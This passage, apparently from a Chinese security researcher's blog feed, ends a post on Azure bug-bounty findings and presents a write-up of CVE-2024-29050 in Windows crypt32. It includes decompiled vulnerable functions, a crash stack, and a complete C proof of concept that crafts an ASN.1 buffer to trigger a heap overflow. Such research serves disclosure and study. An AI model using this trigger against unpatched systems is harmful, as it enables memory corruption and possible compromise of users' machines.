class="number">3</span> - internal_decoder_data-&gt;bytes_decoded) * <span class="number">8</span>);</span><br><span class="line">        internal_decoder_data-&gt;bytes_decoded++;</span><br><span class="line">        buffer++;</span><br><span class="line">        size--;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (internal_decoder_data-&gt;bytes_decoded == <span class="number">4</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.length == <span class="number">0</span>)</span><br><span class="line">            &#123;</span><br><span class="line">                internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.bytes = <span class="literal">NULL</span>;</span><br><span class="line">                internal_decoder_data-&gt;on_value_decoded(internal_decoder_data-&gt;on_value_decoded_context, internal_decoder_data-&gt;decode_to_value);</span><br><span class="line">                result = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">                internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.bytes = (<span class="type">unsigned</span> <span class="type">char</span>*)<span class="built_in">malloc</span>((<span class="type">size_t</span>)internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.length + <span class="number">1</span>); <span class="comment">// 整数溢出</span></span><br><span class="line">                <span class="keyword">if</span> (internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.bytes == <span class="literal">NULL</span>)</span><br><span class="line">                &#123;</span><br><span class="line">                    ......</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">else</span></span><br><span class="line">                &#123;</span><br><span class="line">                    result = <span class="number">0</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            result = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">size_t</span> to_copy = internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.length - (internal_decoder_data-&gt;bytes_decoded - <span class="number">4</span>);</span><br><span class="line">        <span class="keyword">if</span> (to_copy &gt; size)</span><br><span class="line">        &#123;</span><br><span class="line">            to_copy = size;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        (<span class="type">void</span>)<span class="built_in">memcpy</span>((<span class="type">unsigned</span> <span class="type">char</span>*)(internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.bytes) + (internal_decoder_data-&gt;bytes_decoded - <span class="number">4</span>), buffer, to_copy);</span><br><span class="line">        buffer += to_copy;</span><br><span class="line">        size -= to_copy;</span><br><span class="line">        internal_decoder_data-&gt;bytes_decoded += to_copy;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (internal_decoder_data-&gt;bytes_decoded == (<span class="type">size_t</span>)internal_decoder_data-&gt;decode_to_value-&gt;value.binary_value.length + <span class="number">4</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            internal_decoder_data-&gt;decoder_state = DECODER_STATE_CONSTRUCTOR;</span><br><span class="line">            internal_decoder_data-&gt;on_value_decoded(internal_decoder_data-&gt;on_value_decoded_context, internal_decoder_data-&gt;decode_to_value);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        result = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个比较简单, 就是在代码注释位置, 32bit的程序存在整数溢出, 导致申请的内存size为0, 后续就溢出写入了.</p><p>我将该问题提交微软以后, 微软认可了这个目标, 我在等待官方出了补丁后, 又提交了相同的问题, 在相同的函数内, 不同的分支位置. 一般来说, 相同函数内出现的不同问题, 微软往往会合并他们, 所以我也没必要提交另一个分支的漏洞(RTOS 就被合并了). 然而这次, 修复者偷懒, 没有检查其它位置是否存在相同问题, 草草地修复了漏洞, 于是我可以在补丁出了后, 重新提交遗漏的位置. 这是一鱼两吃.</p><p>显然, 故事还没有结束. 我在搜索amqp函数的过程中, 偶然发现, 有其它的项目(Azure-sdk-for-cpp, azure-uamqp-python), 也包含了azure-uamqp-c的代码, 但是上次我提交的漏洞并没有被同步到这两个项目中.  于是我又用那个项目提交了相同的bug. 最后微软也认了, 修补了两个项目中的bug. 至此, 一鱼三吃的故事落下帷幕.</p><h2 id="double-free-again"><a href="#double-free-again" class="headerlink" title="double free again"></a>double free again</h2><p>在snmp的double free启发我以后, 我在amqp, azure-c-shared-utility, azure-iot-sdk-c, azure iot device update 项目中应用以下规则, 我得以用最简单的方法找出了11个uaf的问题. </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">`(delete|destroy|free|release)\w*\([\w\(\*]`, *.h,*.c,*.cpp. 排除samples, tests</span><br><span class="line">筛选原则:</span><br><span class="line">    1. 释放后未置零, 本地变量判断是否在当前函数循环内, 传入参数判断上层函数是否在循环内</span><br><span class="line">    2. 释放的变量是否存储到其它结构体里 (这个可能存在漏网之鱼)</span><br><span class="line">    3. 同一个函数存在多次释放(比如失败后释放了一次)</span><br></pre></td></tr></table></figure><p>在2023年末微软新加了一条规则:</p><ul><li>December 20, 2023: Confirmed out of scope - vulnerabilities in OMI or open-source components.</li></ul><p>彼时还没有完全不认这些组件的问题, 但是后面就完全不认了. 在2024年8月, 微软再次强调了它:</p><ul><li>August 5, 2024: Clarified open-source out of scope exclusion.</li></ul><p>以上提到的漏洞有不少是在2024年提交的, 所以有一部分被赖掉了.</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li>有好目标就奋力挖, 别停下.</li><li>用技巧挖洞, 又快又省心</li><li>试一试, 反正不亏.</li></ol><p>至此, 由于微软不再认可开源软件的安全漏洞, 我的 Azure 挖掘之路就告一段落了.<br>如果你仔细翻找<a href="https://learn.microsoft.com/zh-cn/azure/?product=popular">azure的产品及说明文档</a>, 或许你们也可以在in scope范围内, 开辟自己的黄金通道.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;本来这个是打算在 &lt;a href=&quot;https://insomnihack.ch/talks-2025/&quot;&gt;Insomni’hack 2025&lt;/a&gt; 讲的, 由于个人原因没办法参与, 所以写个blog分享一下. 本文主要内容包括我是如何开始的Azure bounty program的研究, 如何扩展的研究, 以及部分成果的分享. &lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows Cryptographic Services RCE CVE-2024-29050的介绍</title>
    <link href="http://474172261.github.io/2024/08/23/CVE-2024-29050/"/>
    <id>http://474172261.github.io/2024/08/23/CVE-2024-29050/</id>
    <published>2024-08-23T03:16:55.420Z</published>
    <updated>2024-08-26T06:34:19.113Z</updated>
    
    <content type="html"><![CDATA[<p>在挖掘secure schannel的过程中, 发现后期有在调用<code>crypt32!CryptDecodeObject</code>函数去解码证书相关操作, 于是深入分析了一下, 发现存在很明显的整数溢出问题, 后来发现有长度限制. 经过遍历所有的解码操作, 找到了可以成功触发的整数溢出. 一起来了解一下吧.</p><span id="more"></span><p>先来了解一下<code>CryptDecodeObject</code>函数接口.</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL <span class="title">CryptDecodeObject</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">  [in]      DWORD      dwCertEncodingType,</span></span></span><br><span class="line"><span class="params"><span class="function">  [in]      LPCSTR     lpszStructType,</span></span></span><br><span class="line"><span class="params"><span class="function">  [in]      <span class="type">const</span> BYTE *pbEncoded,</span></span></span><br><span class="line"><span class="params"><span class="function">  [in]      DWORD      cbEncoded,</span></span></span><br><span class="line"><span class="params"><span class="function">  [in]      DWORD      dwFlags,</span></span></span><br><span class="line"><span class="params"><span class="function">  [out]     <span class="type">void</span>       *pvStructInfo,</span></span></span><br><span class="line"><span class="params"><span class="function">  [in, out] DWORD      *pcbStructInfo</span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br></pre></td></tr></table></figure><p><code>[in] dwCertEncodingType</code></p><p>编码类型, 有两种, 可以或在一起.</p><ul><li>X509_ASN_ENCODING</li><li>PKCS_7_ASN_ENCODING</li></ul><p><code>[in] lpszStructType</code></p><p>OID, 可以是数字, 也可以是字符串. 参考 <a href="https://learn.microsoft.com/en-us/windows/desktop/SecCrypto/constants-for-cryptencodeobject-and-cryptdecodeobject">Constants for CryptEncodeObject and CryptDecodeObject</a>.</p><p>调用关系路径示例:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">crypt32!CryptDecodeObject(X509_ASN_ENCODING(<span class="number">1</span>), X509_ECC_SIGNATURE(<span class="number">47</span>), ...)</span><br><span class="line">    CryptDecodeObjectEx</span><br><span class="line">    Asn1X509DHParametersDecodeEx</span><br><span class="line">    Asn1InfoDecodeAndAllocEx</span><br><span class="line">    msasn1!ASN1_Decode <span class="comment">// 检查len, 不能超过 0x61a8000 (100M)</span></span><br><span class="line">    crypto32!ASN1Dec_DHParameters <span class="comment">// label1</span></span><br><span class="line">    ....</span><br></pre></td></tr></table></figure><p>不同的oid, <code>label1</code>位置就会是不同的调用函数, 具体函数列表见文章末尾.</p><p>有问题的函数存在于<code>ASN1Dec_CRLDistributionPoints</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">ASN1Dec_CRLDistributionPoints</span><span class="params">(__int64 a1, __int64 a2, <span class="type">unsigned</span> <span class="type">int</span> *a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  ......</span><br><span class="line">  <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)ASN1BERDecExplicitTag(a1, a2, &amp;v23, &amp;v25) )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>i64;</span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  *a3 = <span class="number">0</span>;</span><br><span class="line">  *((_QWORD *)a3 + <span class="number">1</span>) = <span class="number">0</span>i64;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)ASN1BERDecNotEndOfContents(v23, v25) )</span><br><span class="line">    &#123;</span><br><span class="line">      LOBYTE(v3) = (<span class="type">unsigned</span> <span class="type">int</span>)ASN1BERDecEndOfContents(a1, v23, v25) != <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">return</span> v3;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)ASN1BERDecPeekTag(v23, &amp;v21) )</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>i64;</span><br><span class="line">    <span class="keyword">if</span> ( *a3 &gt;= v6 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v6 )</span><br><span class="line">        v6 *= <span class="number">2</span>;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        v6 = <span class="number">16</span>;</span><br><span class="line">      v7 = ASN1DecRealloc(v23, *((_QWORD *)a3 + <span class="number">1</span>), v6 &lt;&lt; <span class="number">6</span>);<span class="comment">// label2</span></span><br><span class="line">      <span class="keyword">if</span> ( !v7 )</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>i64;</span><br><span class="line">      *((_QWORD *)a3 + <span class="number">1</span>) = v7;</span><br><span class="line">    &#125;</span><br><span class="line">......</span><br><span class="line">    v11 = *((_QWORD *)a3 + <span class="number">1</span>) + (v10 &lt;&lt; <span class="number">6</span>);</span><br><span class="line">    *a3 = *a3 + <span class="number">1</span>;</span><br><span class="line">......</span><br><span class="line">    </span><br><span class="line">  &#125;</span><br><span class="line">  ......</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>label2</code>位置, 如果v6大于<code> 0x20,0000</code>, <code>2*v6*0x40 =&gt; 0x1,0000,0000</code>, 而<code>ASN1DecRealloc</code>函数的第三个参数是一个int类型, 导致整数截断, 从而申请非常小的内存, 导致后面溢出. 因为可以控制内容, 所以溢出多少是大致可控的, 所以还是有不小的可利用性. 唯一的问题就是, 这个OID是0x23, 要找到windows支持它的服务是比较困难的, 通过逐一搜索所有导入了<code>CryptDecodeObject</code>函数的dll和exe文件, 最终找到一个使用到它的工具, 就是<code>certutil.exe</code>.</p><p>触发栈回溯为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">00 0000004a`b0c7e680 00007ffd`e8fa5b1b     ucrtbase!memset_repstos+0x9</span><br><span class="line">01 0000004a`b0c7e690 00007ffd`e8fa5942     CRYPT32!Asn1X509CrlDistPointsDecodeExCallback+0x77</span><br><span class="line">02 0000004a`b0c7e700 00007ffd`e8f568f5     CRYPT32!Asn1X509CrlDistPointsDecodeEx+0xb2</span><br><span class="line">03 0000004a`b0c7e780 00007ffd`e8f564de     CRYPT32!CryptDecodeObjectEx+0x145</span><br><span class="line">04 0000004a`b0c7e830 00007ffd`e2b2185a     CRYPT32!CryptDecodeObject+0x2e</span><br><span class="line">05 0000004a`b0c7e880 00007ffd`e2b2096a     cryptnet!ObjectContextGetRawUrlData+0x21a</span><br><span class="line">06 0000004a`b0c7e9c0 00007ffd`e2b11e2a     cryptnet!CertificateCrlDistPointGetObjectUrl+0x7a</span><br><span class="line">07 0000004a`b0c7eaf0 00007ffd`e2b119fc     cryptnet!CTVOAgent::GetTimeValidObject+0x41a</span><br><span class="line">08 0000004a`b0c7ed30 00007ffd`e2b27cff     cryptnet!CrlFromCertGetTimeValidObject+0x5c</span><br><span class="line">09 0000004a`b0c7eda0 00007ffd`e2b274fb     cryptnet!CryptGetTimeValidObject+0xbf</span><br><span class="line">0a 0000004a`b0c7ee20 00007ffd`e2b26213     cryptnet!GetTimeValidCrl+0x38b</span><br><span class="line">0b 0000004a`b0c7ef50 00007ffd`e8f475be     cryptnet!MicrosoftCertDllVerifyRevocation+0x213</span><br><span class="line">0c 0000004a`b0c7f0b0 00007ffd`e8f46785     CRYPT32!VerifyDefaultRevocation+0x552</span><br><span class="line">0d 0000004a`b0c7f1d0 00007ff7`8d71812f     CRYPT32!CertVerifyRevocation+0x115</span><br><span class="line">0e 0000004a`b0c7f2d0 00007ff7`8d717dba     certutil!VerifyRevocation+0xd3</span><br><span class="line">0f 0000004a`b0c7f380 00007ff7`8d7164f7     certutil!VerifyCertAgainstParent+0x82e</span><br><span class="line">10 0000004a`b0c7f490 00007ff7`8d71bc70     certutil!VerifyCRLAgainstCACert+0x647</span><br><span class="line">11 0000004a`b0c7f5a0 00007ff7`8d6b3849     certutil!verbVerifyCert+0x1c0</span><br><span class="line">12 0000004a`b0c7f640 00007ff7`8d78630c     certutil!ArgvMain+0x9ed</span><br><span class="line">13 0000004a`b0c7f870 00007ff7`8d785ecc     certutil!myPreMain+0x41c</span><br><span class="line">14 0000004a`b0c7f9c0 00007ffd`eadea1f8     certutil!myMainWndProc+0x3c</span><br><span class="line">15 0000004a`b0c7f9f0 00007ffd`eaded038     USER32!UserCallWinProcCheckWow+0x398</span><br><span class="line">16 0000004a`b0c7fb40 00007ff7`8d786575     USER32!DispatchMessageWorker+0x378</span><br><span class="line">17 0000004a`b0c7fbc0 00007ff7`8d6a3d96     certutil!wWinMain+0x1ad</span><br><span class="line">18 0000004a`b0c7fcb0 00007ffd`e9711f87     certutil!__wmainCRTStartup+0x1d6</span><br><span class="line">19 0000004a`b0c7fd70 00007ffd`eb97b5b0     KERNEL32!BaseThreadInitThunk+0x17</span><br><span class="line">1a 0000004a`b0c7fda0 00000000`00000000     ntdll!RtlUserThreadStart+0x20</span><br></pre></td></tr></table></figure><h2 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h2><p>在12月的时候, <a href="https://twitter.com/hexnomad?lang=en">Eric</a> 也挖到了这个漏洞, 并且他还发现了一种远程利用的触发路径, <a href="https://x.com/hexnomad/status/1777788190130147427">演示视频</a>, 另外他还发现了另一个堆溢出(CVE-2024-30020), 他的演讲pdf <a href="https://cfp.recon.cx/recon2024/talk/SB3QLK/">Talse from The Crypt</a> 也介绍了一下, 很不错的一个演讲.</p><p>CVE-2024-30020 发生在<code>Asn1X509GetPKIFreeText</code>函数内, 一开始我没看懂问题出在哪, 我们看一下代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> ( i = (<span class="type">const</span> <span class="type">void</span> **)*((_QWORD *)a1 + <span class="number">1</span>); v5; --v5 )</span><br><span class="line">&#123;</span><br><span class="line">  v12 = *(<span class="type">unsigned</span> <span class="type">int</span> *)i;</span><br><span class="line">  v13 = <span class="number">2</span> * v12 + <span class="number">9</span>; <span class="comment">//补丁后代码</span></span><br><span class="line">  <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)EvaluateCurrentState((<span class="type">const</span> <span class="keyword">struct</span> reg_FeatureDescriptor *)a1) )<span class="comment">// 补丁后代码</span></span><br><span class="line">    v13 = v12 + <span class="number">9</span>;<span class="comment">// 补丁前代码</span></span><br><span class="line">  v14 = v13 &amp; <span class="number">0xFFFFFFF8</span>;</span><br><span class="line">  v8 = *a5 - v14 &lt; <span class="number">0</span>;</span><br><span class="line">  *a5 -= v14;</span><br><span class="line">  <span class="keyword">if</span> ( !v8 )</span><br><span class="line">  &#123;</span><br><span class="line">    *v9 = (LPWSTR)*a4;</span><br><span class="line">    <span class="keyword">if</span> ( (_DWORD)v12 )</span><br><span class="line">    &#123;</span><br><span class="line">      v15 = EvaluateCurrentState((<span class="type">const</span> <span class="keyword">struct</span> reg_FeatureDescriptor *)a1);<span class="comment">// 补丁后代码</span></span><br><span class="line">      v16 = v12;</span><br><span class="line">      <span class="keyword">if</span> ( v15 )</span><br><span class="line">        v16 = <span class="number">2</span> * v12;<span class="comment">// 补丁后代码</span></span><br><span class="line">      memcpy_0(*v9, i[<span class="number">1</span>], v16);</span><br><span class="line">    &#125;</span><br><span class="line">    (*v9)[v12] = <span class="number">0</span>;</span><br><span class="line">    *a4 = (LPWSTR *)((<span class="type">char</span> *)*a4 + v14);</span><br><span class="line">  &#125;</span><br><span class="line">  ++v9;</span><br><span class="line">  i += <span class="number">2</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以, 它的补丁就是在计算size的时候, 以宽字节的方式去计算size. 一开始我并不明白这样的补丁是在干什么.</p><p>首先, <code> *a5</code>在减<code>v14</code>, <code>*a4</code>在加<code>v14</code>, 所以这个buffer和size是同步的, 不存在不同步导致的判断问题.</p><p>然后, <code>v12</code>值不能很大, 所以不会导致整数溢出, 那么, <code>v14</code>必然大于等于<code>v12+8</code>, 所以<code>if(!v8)</code>这个条件判断也不存在任何问题. memcpy操作也不存在任何问题.</p><p>那么问题一定出在 <code>(*v9)[v12] = 0;</code>, 朴素的理解里, 它应该也就占1字节, 是小于<code>8</code>的, 所以应该也小于<code>v14</code>的范围, 怎么会导致问题呢??</p><p>仔细查看了汇编以后, <code>mov     [rax+rsi*2], dx</code>, 问题变得一目了然, 那就是它是当作宽字符串在处理的!!! </p><p>这时候, <code>*v9 = (LPWSTR)*a4;</code> 这一行变得异常刺眼了起来.</p><p>所以审计的时候, 还是需要多留心类型的变换, 如果有强制类型转换, 一定要多注意注意, 别被ida迷惑住了.</p><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;winsock.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;wincrypt.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;Crypt32.lib&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;Bcrypt.lib&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;ws2_32.lib&quot;</span>)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">int</span> u32;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">char</span> u8;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MAX_SIZE (0x4000000+0x30)</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span>* buf = (<span class="type">char</span>*)<span class="built_in">calloc</span>(<span class="number">1</span>, MAX_SIZE);</span><br><span class="line"></span><br><span class="line">    HCERTSTORE hStore = <span class="literal">NULL</span>;</span><br><span class="line">    PCCERT_CONTEXT pCert = <span class="literal">NULL</span>;</span><br><span class="line">    BCRYPT_KEY_HANDLE hKey = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">    DWORD pcbStructInfo[<span class="number">4</span>];</span><br><span class="line">    pcbStructInfo[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">    <span class="comment">// explicit tag</span></span><br><span class="line">    <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> j;</span><br><span class="line">    buf[i++] = <span class="number">0x20</span>|<span class="number">0x10</span>;</span><br><span class="line">    buf[i++] = <span class="number">0x84</span>;</span><br><span class="line">    *(u32*)(buf + i) = ntohl(MAX_SIZE - <span class="number">0x30</span> + <span class="number">2</span>);</span><br><span class="line">    i += <span class="number">4</span>;</span><br><span class="line">    <span class="keyword">for</span> (j = <span class="number">0</span>; j &lt; (MAX_SIZE<span class="number">-0x30</span>+<span class="number">2</span>) /<span class="number">2</span>; j++) &#123;</span><br><span class="line">        <span class="comment">// ASN1BERDecEoid</span></span><br><span class="line">        buf[i++] = <span class="number">0x20</span>|<span class="number">0x10</span>;</span><br><span class="line">        buf[i++] = <span class="number">0</span>;</span><br><span class="line">    &#125;<span class="comment">// &quot;1.1.&quot; 4bytes, </span></span><br><span class="line"></span><br><span class="line">    CryptDecodeObject(<span class="number">1</span>, (LPCSTR)<span class="number">0x23</span>, (<span class="type">const</span> BYTE*)buf, MAX_SIZE<span class="number">-0x10</span>, <span class="number">0</span>, <span class="number">0</span>, pcbStructInfo);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="ASN1Dec列表"><a href="#ASN1Dec列表" class="headerlink" title="ASN1Dec列表"></a>ASN1Dec列表</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line">0 ASN1Dec_EncodedObjectID  1800a02b0</span><br><span class="line">1 ASN1Dec_Bits  180095e20</span><br><span class="line">2 ASN1Dec_IntegerType  1800a27c0</span><br><span class="line">3 ASN1Dec_HugeIntegerType  1800a3d00</span><br><span class="line">4 ASN1Dec_OctetStringType_0  1800a36e0</span><br><span class="line">5 ASN1Dec_EnumeratedType  1800ba230</span><br><span class="line">6 ASN1Dec_UtcTime  1800a4aa0</span><br><span class="line">7 ASN1Dec_AnyString  180077ce0</span><br><span class="line">8 ASN1Dec_AlgorithmIdentifier  180076ff0</span><br><span class="line">9 ASN1Dec_Name  180077f20</span><br><span class="line">10 ASN1Dec_Attributes  180077a40</span><br><span class="line">11 ASN1Dec_RSAPublicKey  1800877f0</span><br><span class="line">12 ASN1Dec_RSAPublicKey2  18008e170</span><br><span class="line">13 ASN1Dec_DSSParameters  1800b2ba0</span><br><span class="line">14 ASN1Dec_RSAPublicKey_0  1800e8ea0</span><br><span class="line">15 ASN1Dec_DHParameters  1800a01d0</span><br><span class="line">16 ASN1Dec_RC2CBCParameters  1800eb260</span><br><span class="line">17 ASN1Dec_SMIMECapabilities  1800eb8d0</span><br><span class="line">18 ASN1Dec_SubjectPublicKeyInfo  180084210</span><br><span class="line">19 ASN1Dec_ChoiceOfTime  1800770d0</span><br><span class="line">20 ASN1Dec_Extensions  1800775d0</span><br><span class="line">21 ASN1Dec_SignedContent  1800871d0</span><br><span class="line">22 ASN1Dec_CertificationRequestInfo  